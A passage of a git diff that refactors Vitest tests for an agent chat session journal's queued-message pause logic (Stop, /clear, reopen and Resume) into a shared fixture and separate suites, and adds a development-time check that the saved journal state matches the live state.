expect(JSON.stringify(reopened.submission('mail'))).not.toContain('agent:coordinator') - }) - }) + const fixture = createFixture() + registerJournalUnsentSendHoldRecoveryTests(fixture) + registerJournalUnsentSendHoldQueueTests(fixture) } diff --git a/src/main/native-chat/agent-session-journal/journal-write-projection.ts b/src/main/native-chat/agent-session-journal/journal-write-projection.ts new file mode 100644 index 00000000000..842ef5e00d2 --- /dev/null +++ b/src/main/native-chat/agent-session-journal/journal-write-projection.ts @@ -0,0 +1,77 @@ +import { isDeepStrictEqual } from 'node:util' +import type Database from '../../sqlite/sync-database' +import type { JournalHostDatabase } from './journal-host-database' +import type { JournalReducerState } from './journal-reducer' +import type { JournalRow } from './journal-row-schema' +import { prepareJournalOutcomeWrite } from './journal-outcome-write' +import { encodeJournalState } from './journal-state-codec' +import { restoreJournal } from './journal-open' + +// A full restore per check: development samples each chat so long streams stay responsive. +const DEVELOPMENT_VERIFY_INTERVAL_MS = 60_000 + +/** Writes outcome records with each append and adopts their transition once the write commits. */ +export class JournalWriteProjection { + /** Projection tests check the equality invariant after every commit and throw on divergence. */ + static verifyEachCommit = false + + private verifiedAt = Number.NEGATIVE_INFINITY + + constructor( + private readonly deps: { + database: JournalHostDatabase + state: () => JournalReducerState + adopt: (state: JournalReducerState) => void + } + ) {} + + /** The callback is invoked only after the outer transaction has committed. */ + prepare(db: Database.Database, rows: readonly JournalRow[], savedAt: number): () => void { + const transition = prepareJournalOutcomeWrite(db, this.deps.state(), rows, savedAt) + return () => this.deps.adopt(transition.adopt()) + } + + /** Runs after commit notification, never in the adopt path. */ + verify(): void { + if (JournalWriteProjection.verifyEachCommit) { + this.checkEquivalent() + return + } + const now = performance.now() + if ( + process.env.NODE_ENV !== 'development' || + now - this.verifiedAt < DEVELOPMENT_VERIFY_INTERVAL_MS + ) { + return + } + this.verifiedAt = now + try { + this.checkEquivalent() + } catch (error) { + logJournalVerifyFailure(this.deps.state().sessionId, error) + } + } + + /** Every saved form (input fold, prefix plus records, or records alone) must restore the live + * state. */ + private checkEquivalent(): void { + const live = this.deps.state() + const loaded = restoreJournal(this.deps.database.db, live.sessionId) + if ( + !loaded || + loaded.damage || + loaded.newer || + !isDeepStrictEqual(encodeJournalState(loaded.state), encodeJournalState(live)) + ) { + throw new Error('journal saved state differs from live state') + } + } +} + +function logJournalVerifyFailure(sessionId: string, error: unknown): void { + try { + console.warn('[agent-session-journal] saved chat differs from live chat', { sessionId, error }) + } catch { + // Diagnostics never turn a development check into a rejected send. + } +} diff --git a/src/main/native-chat/agent-session-journal/queued-message-pause-contract-test-fixture.ts b/src/main/native-chat/agent-session-journal/queued-message-pause-contract-test-fixture.ts new file mode 100644 index 00000000000..38e922d0c5f --- /dev/null +++ b/src/main/native-chat/agent-session-journal/queued-message-pause-contract-test-fixture.ts @@ -0,0 +1,193 @@ +import { mkdtemp, rm } from 'node:fs/promises' +import { tmpdir } from 'node:os' +import { join } from 'node:path' +import { afterEach, beforeEach } from 'vitest' +import type { + AgentJournalMessageItem, + AgentSessionJournalIdentity +} from '../../../shared/agent-session-journal-types' +import Database from '../../sqlite/sync-database' +import { journalDatabasePath } from './journal-host-database' +import { + createTrackedJournalOpener, + liveTestJournalRows, + readTestJournalOutcomes, + updateTestJournalRowJson +} from './journal-host-database-test-support' +import { parseJournalRow } from './journal-row-schema' +import { fields } from './journal-state-schema' +import type { AgentSessionJournal } from './journal-store' +import { queuePauseHolding } from './queued-message-pause' +import { claudeProviderHandle } from '../../../shared/agent-session-provider-handle-encoding' +import { agentSessionSendBodyFingerprint } from '../../../shared/structured-agent-session-send-mutation' + +export function createFixture() { + const IDENTITY: AgentSessionJournalIdentity = { + sessionId: 'session-p', + workspaceId: 'ws-1', + hostId: 'host-1', + agent: 'claude', + providerHandle: claudeProviderHandle('native-1', null) + } + + let root: string + + let clock = 1_000 + + const journals = createTrackedJournalOpener({ legacyInputs: true }) + + function message(text: string): AgentJournalMessageItem { + return { kind: 'message', role: 'user', blocks: [{ type: 'text', text }] } + } + + function fingerprintOf(text: string): string { + return agentSessionSendBodyFingerprint(IDENTITY.sessionId, message(text)) + } + + function open(): Promise { + return journals.open({ + identity: IDENTITY, + stateDirectory: root, + now: () => ++clock, + mintEpoch: () => `epoch-${clock}` + }) + } + + function queueDraft(journal: AgentSessionJournal, messageId: string) { + return journal.queuedMessages.insert({ messageId, body: message(messageId) }) + } + + function clearContext(journal: AgentSessionJournal) { + return journal.context.clear( + { operationId: `clear-${++clock}`, afterFence: 0, clearedAt: clock }, + { write: () => {}, committed: () => {} } + ) + } + + async function turn(journal: AgentSessionJournal, id: string, accept = true): Promise { + await journal.appendSubmission({ + clientMessageId: id, + payloadFingerprint: `fp-${id}`, + body: message(id), + fence: 0, + handoverRecorded: true + }) + if (accept) { + await acceptTurn(journal, id) + } + } + + function acceptTurn(journal: AgentSessionJournal, id: string) { + return journal.resolveDispatch({ + clientMessageId: id, + state: 'accepted', + providerIdentity: { provider: 'claude', sessionId: 'native-1', uuid: `echo-${id}` }, + fence: 0 + }) + } + + function userStop(journal: AgentSessionJournal) { + return journal.appendStopEvent({ reason: 'user-stop' }, 0) + } + + function reason(journal: AgentSessionJournal): string | null { + return journal.queuedMessages.pauses()[0]?.reason ?? null + } + + function held(journal: AgentSessionJournal): [string, boolean][] { + const pauses = journal.queuedMessages.pauses() + return journal.queuedMessages + .list() + .filter((card) => card.state === 'waiting') + .map((card) => [card.messageId, queuePauseHolding(pauses, card) !== undefined]) + } + + function stopEvents(): unknown[] { + const db = new Database(journalDatabasePath(root), { readonly: true }) + try { + // An outcome epoch (every replaced one) stores the Stop as pause marks, not as an input row. + const marks = readTestJournalOutcomes(db, IDENTITY.sessionId).filter( + (value) => value.field === '$' && value.key === JSON.stringify('queuePauseMarks') + ) + if (marks.length > 0) { + const stop = fields.queuePauseMarks.parse(JSON.parse(marks.at(-1)!.json)).latestStop + return stop ? [stop.event] : [] + } + return liveTestJournalRows(db, IDENTITY.sessionId).flatMap((stored) => { + const parsed = parseJournalRow(stored.rowJson) + return parsed.ok && parsed.row.kind === 'tombstone' && parsed.row.stopEvent + ? [parsed.row.stopEvent] + : [] + }) + } finally { + db.close() + } + } + + function rewriteRows(keys: Record): void { + const db = new Database(journalDatabasePath(root)) + try { + for (const stored of liveTestJournalRows(db, IDENTITY.sessionId)) { + const rewrite = keys[stored.seq] + if (rewrite) { + const row: Record = JSON.parse(stored.rowJson) + row[rewrite[0]] = rewrite[1] + updateTestJournalRowJson(db, IDENTITY.sessionId, stored.seq, JSON.stringify(row)) + } + } + } finally { + db.close() + } + } + + function pauseTables(): number { + const db = new Database(journalDatabasePath(root), { readonly: true }) + try { + return db + .prepare("SELECT name FROM sqlite_master WHERE type = 'table' AND name LIKE '%pause%'") + .all().length + } finally { + db.close() + } + } + + beforeEach(async () => { + root = await mkdtemp(join(tmpdir(), 'orca-queue-pause-')) + clock = 1_000 + }) + + afterEach(async () => { + await journals.closeAll() + await rm(root, { recursive: true, force: true }) + }) + + return { + IDENTITY, + acceptTurn, + clearContext, + get clock() { + return clock + }, + set clock(value: typeof clock) { + clock = value + }, + fingerprintOf, + held, + journals, + message, + open, + pauseTables, + queueDraft, + reason, + rewriteRows, + get root() { + return root + }, + set root(value: typeof root) { + root = value + }, + stopEvents, + turn, + userStop + } +} diff --git a/src/main/native-chat/agent-session-journal/queued-message-pause-held-cards.spec.ts b/src/main/native-chat/agent-session-journal/queued-message-pause-held-cards.spec.ts new file mode 100644 index 00000000000..7c54d574f6a --- /dev/null +++ b/src/main/native-chat/agent-session-journal/queued-message-pause-held-cards.spec.ts @@ -0,0 +1,108 @@ +import { describe, expect, it } from 'vitest' +import { + deriveQueuePauses, + nextSendableQueuedCard, + queuePauseHolding, + resumableQueuePause +} from './queued-message-pause' + +export function registerQueuedMessagePauseHeldCardsTests(): void { + describe('which cards the pauses in force hold', () => { + type Card = Parameters[1] & { messageId: string } + + function card(messageId: string, queuedAfter: number, fields: Partial = {}): Card { + const queuedAt = { epoch: 'epoch-1', sequence: queuedAfter + 1 } + const base = { state: 'waiting', holdReason: null } + return { messageId, ...base, queuedAt, ...fields } + } + + /** Simulate Stop/open boundaries with no subsequent turn, Resume or reopen mark. */ + function pausesOver(cards: readonly Card[], stopped = 5, opened = 0, clearedIds?: string[]) { + return deriveQueuePauses({ + epoch: 'epoch-1', + marks: { + latestStop: stopped ? { sequence: stopped, event: { reason: 'user-stop', at: 0 } } : null, + resumedSequence: 0, + reopenedSequence: 0, + ...(clearedIds + ? { cleared: { sequence: 4, operationId: 'clear', messageIds: clearedIds } } + : {}) + }, + latestAcceptedTurnSequence: 0, + cards, + reopenFloor: opened ? { epoch: 'epoch-1', sequence: opened + 1 } : null + }) + } + + function holding( + cards: readonly Card[], + stopped?: number, + opened?: number + ): [string, string | null][] { + const pauses = pausesOver(cards, stopped, opened) + return cards.map((each) => [each.messageId, queuePauseHolding(pauses, each)?.reason ?? null]) + } + + it('a Stop holds a card with no recorded position, and one queued before a rewind', () => { + const cards = [ + card('unrecorded', 5, { queuedAt: null }), + // Epoch precedence outranks raw sequence values. + card('before-rewind', 5, { queuedAt: { epoch: 'epoch-0', sequence: 9 } }), + card('after', 5) + ] + expect(holding(cards)).toEqual([ + ['unrecorded', 'stopped'], + ['before-rewind', 'stopped'], + ['after', null] + ]) + }) + + it("a Stop that holds nothing never hides a reopen's: a card from before the open waits", () => { + const after = card('after', 5) + expect(pausesOver([after], 5, 6).map((pause) => pause.reason)).toEqual([ + 'stopped', + 'restarted' + ]) + expect(holding([after], 5, 6)).toEqual([['after', 'restarted']]) + expect(nextSendableQueuedCard(pausesOver([after], 5, 6), [after])).toBeNull() + expect(nextSendableQueuedCard(pausesOver([after]), [after])).toBe(after) + }) + + it("a card names the first pause holding it, and the header names the first held card's", () => { + const cards = [card('before', 3), card('after', 5)] + expect(holding(cards, 5, 6)).toEqual([ + ['before', 'stopped'], + ['after', 'restarted'] + ]) + expect(resumableQueuePause(pausesOver(cards, 5, 6), cards)?.reason).toBe('stopped') + }) + + it('a card from before the open waits in order, and so do the cards behind it', () => { + const cards = [card('kept', 1), card('behind', 2)] + expect(holding(cards, 0, 4)).toEqual([ + ['kept', 'restarted'], + ['behind', 'restarted'] + ]) + expect(nextSendableQueuedCard(pausesOver(cards, 0, 4), cards)).toBeNull() + }) + + it('a card held on its own from before the open starts no reopen pause', () => { + const cards = [card('held', 1, { holdReason: 'send_failed' }), card('live', 5)] + expect(pausesOver(cards, 0, 4)).toEqual([]) + expect(nextSendableQueuedCard(pausesOver(cards, 0, 4), cards)?.messageId).toBe('live') + }) + + it("a /clear's pause that holds nothing never hides a reopen's", () => { + const cards = [card('cleared', 1, { holdReason: 'send_failed' }), card('typed', 2)] + const pauses = pausesOver(cards, 0, 4, ['cleared']) + expect(pauses.map((pause) => pause.reason)).toEqual(['cleared', 'restarted']) + expect( + cards.map((each) => [each.messageId, queuePauseHolding(pauses, each)?.reason ?? null]) + ).toEqual([ + ['cleared', null], + ['typed', 'restarted'] + ]) + expect(nextSendableQueuedCard(pauses, cards)).toBeNull() + }) + }) +} diff --git a/src/main/native-chat/agent-session-journal/queued-message-pause.spec.ts b/src/main/native-chat/agent-session-journal/queued-message-pause.spec.ts index 9b161a0611d..5592a125968 100644 --- a/src/main/native-chat/agent-session-journal/queued-message-pause.spec.ts +++ b/src/main/native-chat/agent-session-journal/queued-message-pause.spec.ts @@ -1,725 +1,11 @@ -// Derive pauses from journal rows; never maintain a second stored pause state. - -import { mkdtemp, rm } from 'node:fs/promises' -import { tmpdir } from 'node:os' -import { join } from 'node:path' -import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' -import type { - AgentJournalMessageItem, - AgentSessionJournalIdentity -} from '../../../shared/agent-session-journal-types' -import Database from '../../sqlite/sync-database' -import { journalDatabasePath } from './journal-host-database' -import { - createTrackedJournalOpener, - liveTestJournalRows, - updateTestJournalRowJson -} from './journal-host-database-test-support' -import { QueuedMessageNotConsumableError } from './queued-message-consume-error' -import { applyJournalRow, createJournalReducerState } from './journal-reducer' -import { parseJournalRow } from './journal-row-schema' -import type { AgentSessionJournal } from './journal-store' -import { - deriveQueuePauses, - nextSendableQueuedCard, - queuePauseHolding, - resumableQueuePause -} from './queued-message-pause' -import { agentSessionFailureFact } from '../../../shared/agent-session-failure' -import { agentSessionFailureWords } from '../../../shared/agent-session-failure-words' -import { claudeProviderHandle } from '../../../shared/agent-session-provider-handle-encoding' -import { agentSessionSendBodyFingerprint } from '../../../shared/structured-agent-session-send-mutation' +import { createFixture } from './queued-message-pause-contract-test-fixture' +import { registerQueuedMessageStopPauseTests } from './queued-message-stop-pause.spec' +import { registerQueuedMessageReopenPauseTests } from './queued-message-reopen-pause.spec' +import { registerQueuedMessagePauseHeldCardsTests } from './queued-message-pause-held-cards.spec' export function registerQueuedMessagePauseTests(): void { - const IDENTITY: AgentSessionJournalIdentity = { - sessionId: 'session-p', - workspaceId: 'ws-1', - hostId: 'host-1', - agent: 'claude', - providerHandle: claudeProviderHandle('native-1', null) - } - - let root: string - let clock = 1_000 - const journals = createTrackedJournalOpener() - - function message(text: string): AgentJournalMessageItem { - return { kind: 'message', role: 'user', blocks: [{ type: 'text', text }] } - } - - function fingerprintOf(text: string): string { - return agentSessionSendBodyFingerprint(IDENTITY.sessionId, message(text)) - } - - function open(): Promise { - return journals.open({ - identity: IDENTITY, - stateDirectory: root, - now: () => ++clock, - mintEpoch: () => `epoch-${clock}` - }) - } - - function queueDraft(journal: AgentSessionJournal, messageId: string) { - return journal.queuedMessages.insert({ messageId, body: message(messageId) }) - } - - function clearContext(journal: AgentSessionJournal) { - return journal.context.clear( - { operationId: `clear-${++clock}`, afterFence: 0, clearedAt: clock }, - { write: () => {}, committed: () => {} } - ) - } - - async function turn(journal: AgentSessionJournal, id: string, accept = true): Promise { - await journal.appendSubmission({ - clientMessageId: id, - payloadFingerprint: `fp-${id}`, - body: message(id), - fence: 0, - handoverRecorded: true - }) - if (accept) { - await acceptTurn(journal, id) - } - } - - function acceptTurn(journal: AgentSessionJournal, id: string) { - return journal.resolveDispatch({ - clientMessageId: id, - state: 'accepted', - providerIdentity: { provider: 'claude', sessionId: 'native-1', uuid: `echo-${id}` }, - fence: 0 - }) - } - - function userStop(journal: AgentSessionJournal) { - return journal.appendStopEvent({ reason: 'user-stop' }, 0) - } - - function reason(journal: AgentSessionJournal): string | null { - return journal.queuedMessages.pauses()[0]?.reason ?? null - } - - function held(journal: AgentSessionJournal): [string, boolean][] { - const pauses = journal.queuedMessages.pauses() - return journal.queuedMessages - .list() - .filter((card) => card.state === 'waiting') - .map((card) => [card.messageId, queuePauseHolding(pauses, card) !== undefined]) - } - - function stopEvents(): unknown[] { - const db = new Database(journalDatabasePath(root), { readonly: true }) - try { - return liveTestJournalRows(db, IDENTITY.sessionId).flatMap((stored) => { - const parsed = parseJournalRow(stored.rowJson) - return parsed.ok && parsed.row.kind === 'tombstone' && parsed.row.stopEvent - ? [parsed.row.stopEvent] - : [] - }) - } finally { - db.close() - } - } - - function rewriteRows(keys: Record): void { - const db = new Database(journalDatabasePath(root)) - try { - for (const stored of liveTestJournalRows(db, IDENTITY.sessionId)) { - const rewrite = keys[stored.seq] - if (rewrite) { - const row: Record = JSON.parse(stored.rowJson) - row[rewrite[0]] = rewrite[1] - updateTestJournalRowJson(db, IDENTITY.sessionId, stored.seq, JSON.stringify(row)) - } - } - } finally { - db.close() - } - } - - function pauseTables(): number { - const db = new Database(journalDatabasePath(root), { readonly: true }) - try { - return db - .prepare("SELECT name FROM sqlite_master WHERE type = 'table' AND name LIKE '%pause%'") - .all().length - } finally { - db.close() - } - } - - beforeEach(async () => { - root = await mkdtemp(join(tmpdir(), 'orca-queue-pause-')) - clock = 1_000 - }) - - afterEach(async () => { - await journals.closeAll() - await rm(root, { recursive: true, force: true }) - }) - - describe("the queue's pause, derived from the journal", () => { - it("a person's Stop event pauses the queue, even with no card yet, survives reopen, and stores nothing", async () => { - let journal = await open() - await userStop(journal) - expect(reason(journal)).toBe('stopped') - await queueDraft(journal, 'draft-1') - await journal.close() - journal = await open() - expect(reason(journal)).toBe('stopped') - expect(pauseTables()).toBe(0) - }) - - it("any turn sent after the Stop and accepted lifts it, Orca's own mail included", async () => { - const journal = await open() - await turn(journal, 'before-stop', false) - await userStop(journal) - // Late acceptance of a pre-Stop send cannot lift the pause. - await acceptTurn(journal, 'before-stop') - expect(reason(journal)).toBe('stopped') - await turn(journal, 'mail', false) - expect(reason(journal)).toBe('stopped') - await acceptTurn(journal, 'mail') - expect(reason(journal)).toBeNull() - }) - - it('a later Stop is the latest, and a Resume row lifts it', async () => { - const journal = await open() - await userStop(journal) - await turn(journal, 'typed') - expect(reason(journal)).toBeNull() - await userStop(journal) - expect(reason(journal)).toBe('stopped') - await journal.appendQueueResume(0) - expect(reason(journal)).toBeNull() - await userStop(journal) - expect(reason(journal)).toBe('stopped') - expect(pauseTables()).toBe(0) - }) - - it('a card kept by /clear stays paused until Resume in the same journal', async () => { - let journal = await open() - await queueDraft(journal, 'carried') - await clearContext(journal) - expect(reason(journal)).toBe('cleared') - await journal.close() - journal = await open() - expect(reason(journal)).toBe('cleared') - await journal.appendQueueResume(0) - expect(reason(journal)).toBeNull() - expect(pauseTables()).toBe(0) - }) - - it('any accepted turn after /clear lifts its pause, a launch prompt Orca sent included', async () => { - const journal = await open() - await queueDraft(journal, 'carried') - await clearContext(journal) - await turn(journal, 'launch', false) - expect(reason(journal)).toBe('cleared') - await acceptTurn(journal, 'launch') - expect(reason(journal)).toBeNull() - }) - - it('rides a tombstone of an id no item takes, so an older build reads it and changes nothing', async () => { - const journal = await open() - await turn(journal, 'typed') - await journal.appendStopEvent( - { reason: 'user-stop', turnId: 'turn-1', caller: 'client-1' }, - 0 - ) - const db = new Database(journalDatabasePath(root), { readonly: true }) - const stored = liveTestJournalRows(db, IDENTITY.sessionId) - db.close() - const parsed = parseJournalRow(stored.at(-1)?.rowJson ?? '') - expect(parsed).toMatchObject({ - ok: true, - row: { - kind: 'tombstone', - stopEvent: { reason: 'user-stop', turnId: 'turn-1', caller: 'client-1' } - } - }) - if (!parsed.ok || parsed.row.kind !== 'tombstone') { - throw new Error('expected a tombstone row') - } - expect(parsed.row.stopEvent?.at).toBe(parsed.row.ts) - // Older readers ignore the annotation and remove a nonexistent item. - const { stopEvent: _ignored, ...asOlderBuildReadsIt } = parsed.row - const state = createJournalReducerState(IDENTITY.sessionId, parsed.row.epoch) - for (const row of stored.slice(0, -1)) { - const earlier = parseJournalRow(row.rowJson) - if (earlier.ok) { - applyJournalRow(state, earlier.row) - } - } - const items = [...state.items.keys()] - const submissions = [...state.submissions.keys()] - applyJournalRow(state, asOlderBuildReadsIt) - expect([...state.items.keys()]).toEqual(items) - expect([...state.submissions.keys()]).toEqual(submissions) - }) - - it('a Stop or Resume row holding a value no build writes is ignored on read, never trusted', async () => { - let journal = await open() - await queueDraft(journal, 'held') - const corrupted = async ( - append: Promise<{ sequence: number }>, - key: string, - value: unknown - ) => { - const { sequence } = await append - await journal.close() - rewriteRows({ [sequence]: [key, value] }) - journal = await open() - } - const malformed = [null, 'stopped', { at: 1 }] - for (const value of malformed) { - await corrupted(userStop(journal), 'stopEvent', value) - expect(reason(journal)).toBeNull() - } - await userStop(journal) - for (const value of malformed) { - await corrupted(userStop(journal), 'stopEvent', value) - expect(reason(journal)).toBe('stopped') - } - await corrupted(journal.appendQueueResume(0), 'queueResume', 'yes') - expect(reason(journal)).toBe('stopped') - expect(held(journal)).toEqual([['held', true]]) - }) - - it("the queue's own consume is refused in its transaction while the pause holds the card; Send-now is not", async () => { - const journal = await open() - await queueDraft(journal, 'draft-1') - await userStop(journal) - const consume = (id: string, automatic: boolean) => - journal.appendSubmission( - { - clientMessageId: id, - payloadFingerprint: fingerprintOf('draft-1'), - body: message('draft-1'), - fence: 0, - handoverRecorded: true - }, - { - messageId: 'draft-1', - expect: 'waiting', - ...(automatic ? { yieldsToPause: true as const } : {}) - } - ) - await expect(consume('drain-1', true)).rejects.toBeInstanceOf(QueuedMessageNotConsumableError) - expect(journal.submission('drain-1')).toBeUndefined() - expect(journal.queuedMessages.get('draft-1')?.state).toBe('waiting') - await consume('send-now-1', false) - expect(journal.queuedMessages.get('draft-1')?.state).toBe('dispatched') - }) - - it("a rewind's epoch replacement restates a Stop still pausing, and not one a turn ended", async () => { - const journal = await open() - await userStop(journal) - await journal.replaceEpochItems('handle_forked', 0, []) - expect(reason(journal)).toBe('stopped') - await turn(journal, 'typed') - await journal.replaceEpochItems('handle_forked', 0, []) - expect(reason(journal)).toBeNull() - }) - - it("only a person's Stop pauses: a host's, a close's or an unknown reason holds nothing", async () => { - const journal = await open() - await queueDraft(journal, 'draft-1') - for (const reason of ['user-close', 'host-stop', 'evict'] as const) { - await journal.appendStopEvent({ reason }, 0) - } - // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: deliberately outside the type, as a newer build could write it. - await journal.appendStopEvent({ reason: 'future-reason' as 'evict' }, 0) - expect(reason(journal)).toBeNull() - }) - - it("a later Stop of any reason ends a person's Stop, without pausing itself", async () => { - const journal = await open() - await queueDraft(journal, 'draft-1') - for (const later of ['host-stop', 'evict', 'user-close'] as const) { - await userStop(journal) - expect(held(journal)).toEqual([['draft-1', true]]) - await journal.appendStopEvent({ reason: later }, 0) - expect(reason(journal)).toBeNull() - expect(held(journal)).toEqual([['draft-1', false]]) - } - }) - - it("a person's Stop with no later Stop event is not lifted", async () => { - const journal = await open() - await queueDraft(journal, 'held') - await userStop(journal) - // Eviction rows must describe ended work or they would incorrectly lift this pause. - expect(reason(journal)).toBe('stopped') - expect(held(journal)).toEqual([['held', true]]) - }) - - it('the restated Stop is the same event: its reason, turn, caller and time', async () => { - const journal = await open() - await journal.appendStopEvent({ reason: 'user-stop', turnId: 'turn-7', caller: 'phone' }, 0) - const stopped = stopEvents() - await journal.replaceEpochItems('handle_forked', 0, []) - expect(stopEvents()).toEqual(stopped) - expect(stopped).toEqual([ - { reason: 'user-stop', turnId: 'turn-7', caller: 'phone', at: expect.any(Number) } - ]) - }) - - it.each([ - ['an accepted turn', (journal: AgentSessionJournal) => turn(journal, 'typed')], - ['a Resume', (journal: AgentSessionJournal) => journal.appendQueueResume(0)] - ])('a /clear pause %s already lifted stays lifted across a rewind', async (_name, lift) => { - const journal = await open() - await queueDraft(journal, 'carried') - await clearContext(journal) - await lift(journal) - expect(reason(journal)).toBeNull() - await journal.replaceEpochItems('handle_forked', 0, []) - expect(reason(journal)).toBeNull() - }) - - it('a lifted /clear pause and a later Stop are both restated, the Stop still in force', async () => { - const journal = await open() - await queueDraft(journal, 'carried') - await clearContext(journal) - await turn(journal, 'typed') - await userStop(journal) - await journal.replaceEpochItems('handle_forked', 0, []) - expect(journal.queuedMessages.pauses().map((pause) => pause.reason)).toEqual(['stopped']) - await journal.appendQueueResume(0) - expect(reason(journal)).toBeNull() - }) - }) - - describe('which cards a pause holds', () => { - it('only cards queued before the Stop event: one queued after it is a new instruction', async () => { - let journal = await open() - await queueDraft(journal, 'before') - await userStop(journal) - await queueDraft(journal, 'after') - expect(held(journal)).toEqual([ - ['before', true], - ['after', false] - ]) - await journal.close() - journal = await open() - expect(held(journal)).toEqual([ - ['before', true], - ['after', false] - ]) - }) - - it('a steer the Stop withdrew comes back in its own place, and is held', async () => { - const journal = await open() - await queueDraft(journal, 'steered') - await journal.appendSubmission( - { - clientMessageId: 'send-now-1', - payloadFingerprint: fingerprintOf('steered'), - body: message('steered'), - fence: 0, - handoverRecorded: true - }, - { messageId: 'steered', expect: 'waiting' } - ) - await userStop(journal) - await queueDraft(journal, 'after') - await journal.resolveDispatch({ - clientMessageId: 'send-now-1', - state: 'rejected', - ...agentSessionFailureWords(agentSessionFailureFact('cancelled'), { surface: 'rejection' }), - fence: 0 - }) - expect(held(journal)).toEqual([ - ['steered', true], - ['after', false] - ]) - }) - - it("the queue's own consume refuses a newer card while an older one is held: nothing overtakes", async () => { - const journal = await open() - await queueDraft(journal, 'held') - await userStop(journal) - await queueDraft(journal, 'newer') - await expect( - journal.appendSubmission( - { - clientMessageId: 'drain-newer', - payloadFingerprint: fingerprintOf('newer'), - body: message('newer'), - fence: 0, - handoverRecorded: true - }, - { - messageId: 'newer', - expect: 'waiting', - yieldsToPause: true - } - ) - ).rejects.toBeInstanceOf(QueuedMessageNotConsumableError) - expect(journal.queuedMessages.get('newer')?.state).toBe('waiting') - }) - - it("'cleared' holds the cards already queued, not one typed after it", async () => { - const journal = await open() - await queueDraft(journal, 'carried-1') - await queueDraft(journal, 'carried-2') - await clearContext(journal) - await queueDraft(journal, 'typed-here') - expect(held(journal)).toEqual([ - ['carried-1', true], - ['carried-2', true], - ['typed-here', false] - ]) - }) - }) - - describe("a reopen's pause", () => { - /** Reopen as a new handle; failMark injects a reopen-mark write failure. */ - async function reopen( - journal: AgentSessionJournal, - failMark = false - ): Promise { - await journal.close() - const reopened = await open() - if (failMark) { - vi.spyOn(reopened, 'appendQueueReopen').mockRejectedValueOnce(new Error('disk full')) - await expect(reopened.markQueueReopen(0)).rejects.toThrow('disk full') - } else { - await reopened.markQueueReopen(0) - } - return reopened - } - - it('holds the cards queued before the reopen, never one queued after its mark', async () => { - let journal = await open() - await queueDraft(journal, 'before') - expect(reason(journal)).toBeNull() - journal = await reopen(journal) - await queueDraft(journal, 'after') - expect(held(journal)).toEqual([ - ['before', true], - ['after', false] - ]) - expect(reason(journal)).toBe('restarted') - }) - - it.each([ - ['an accepted turn', (journal: AgentSessionJournal) => turn(journal, 'carry-on')], - ['a Resume', (journal: AgentSessionJournal) => journal.appendQueueResume(0)] - ])('%s after the reopen lifts it', async (_name, lift) => { - let journal = await open() - await queueDraft(journal, 'before') - journal = await reopen(journal) - await lift(journal) - expect(reason(journal)).toBeNull() - }) - - it('a turn the agent has not accepted yet lifts nothing', async () => { - let journal = await open() - await queueDraft(journal, 'before') - journal = await reopen(journal) - await turn(journal, 'carry-on', false) - expect(reason(journal)).toBe('restarted') - }) - - it('marks a reopen whose only card is mid-hand-off, and holds it once it comes back', async () => { - let journal = await open() - await queueDraft(journal, 'in-flight') - await journal.appendSubmission( - { - clientMessageId: 'drain-1', - payloadFingerprint: fingerprintOf('in-flight'), - body: message('in-flight'), - fence: 0, - handoverRecorded: true - }, - { messageId: 'in-flight', expect: 'waiting' } - ) - journal = await reopen(journal) - await journal.resolveDispatch({ - clientMessageId: 'drain-1', - state: 'rejected', - ...agentSessionFailureWords(agentSessionFailureFact('notDelivered'), { - surface: 'rejection' - }), - fence: 0 - }) - expect(held(journal)).toEqual([['in-flight', true]]) - }) - - it('a mark written late starts where the chat stopped, and narrows no earlier mark', async () => { - const journal = await open() - await queueDraft(journal, 'kept') - const stopped = journal.cursor().sequence + 1 - await turn(journal, 'later') - await journal.markQueueReopen(0, stopped) - expect(reason(journal)).toBeNull() - - const reopened = await reopen(journal) - expect(reason(reopened)).toBe('restarted') - await reopened.markQueueReopen(0, stopped) - expect(reason(reopened)).toBe('restarted') - }) - - it('a reopen with no waiting card writes nothing', async () => { - let journal = await open() - await turn(journal, 'earlier') - const before = journal.cursor() - journal = await reopen(journal) - expect(journal.cursor()).toEqual(before) - await queueDraft(journal, 'after') - expect(held(journal)).toEqual([['after', false]]) - }) - - it('a second reopen before any turn still holds them; one after a turn holds them again', async () => { - let journal = await open() - await queueDraft(journal, 'before') - journal = await reopen(journal) - journal = await reopen(journal) - expect(reason(journal)).toBe('restarted') - await turn(journal, 'carry-on') - expect(reason(journal)).toBeNull() - journal = await reopen(journal) - expect(reason(journal)).toBe('restarted') - }) - - it('without a mark the open itself is where the pause begins', async () => { - let journal = await open() - await queueDraft(journal, 'before') - journal = await reopen(journal, true) - expect(held(journal)).toEqual([['before', true]]) - await turn(journal, 'carry-on') - expect(reason(journal)).toBeNull() - }) - - it("reads an earlier build's stored 'kept' and 'stopped' holds as none; send_failed stays", async () => { - let journal = await open() - const db = new Database(journalDatabasePath(root)) - for (const [position, id, stored] of [ - [1, 'was-kept', 'kept'], - [2, 'was-stopped', 'stopped'], - [3, 'failed', 'send_failed'] - ] as const) { - db.prepare( - `INSERT INTO queued_messages (session_id, message_id, position, body_json, fingerprint, - created_at, host_instance, state, hold_reason) - VALUES (?, ?, ?, ?, '', 0, 'earlier', 'waiting', ?)` - ).run(IDENTITY.sessionId, id, position, JSON.stringify(message(id)), stored) - } - db.close() - journal = await reopen(journal) - expect(journal.queuedMessages.list().map((row) => [row.messageId, row.holdReason])).toEqual([ - ['was-kept', null], - ['was-stopped', null], - ['failed', 'send_failed'] - ]) - expect(held(journal)).toEqual([ - ['was-kept', true], - ['was-stopped', true], - ['failed', false] - ]) - }) - }) - - describe('which cards the pauses in force hold', () => { - type Card = Parameters[1] & { messageId: string } - - function card(messageId: string, queuedAfter: number, fields: Partial = {}): Card { - const queuedAt = { epoch: 'epoch-1', sequence: queuedAfter + 1 } - const base = { state: 'waiting', holdReason: null } - return { messageId, ...base, queuedAt, ...fields } - } - - /** Simulate Stop/open boundaries with no subsequent turn, Resume or reopen mark. */ - function pausesOver(cards: readonly Card[], stopped = 5, opened = 0, clearedIds?: string[]) { - return deriveQueuePauses({ - epoch: 'epoch-1', - marks: { - latestStop: stopped ? { sequence: stopped, event: { reason: 'user-stop', at: 0 } } : null, - resumedSequence: 0, - reopenedSequence: 0, - ...(clearedIds - ? { cleared: { sequence: 4, operationId: 'clear', messageIds: clearedIds } } - : {}) - }, - latestAcceptedTurnSequence: 0, - cards, - reopenFloor: opened ? { epoch: 'epoch-1', sequence: opened + 1 } : null - }) - } - - function holding( - cards: readonly Card[], - stopped?: number, - opened?: number - ): 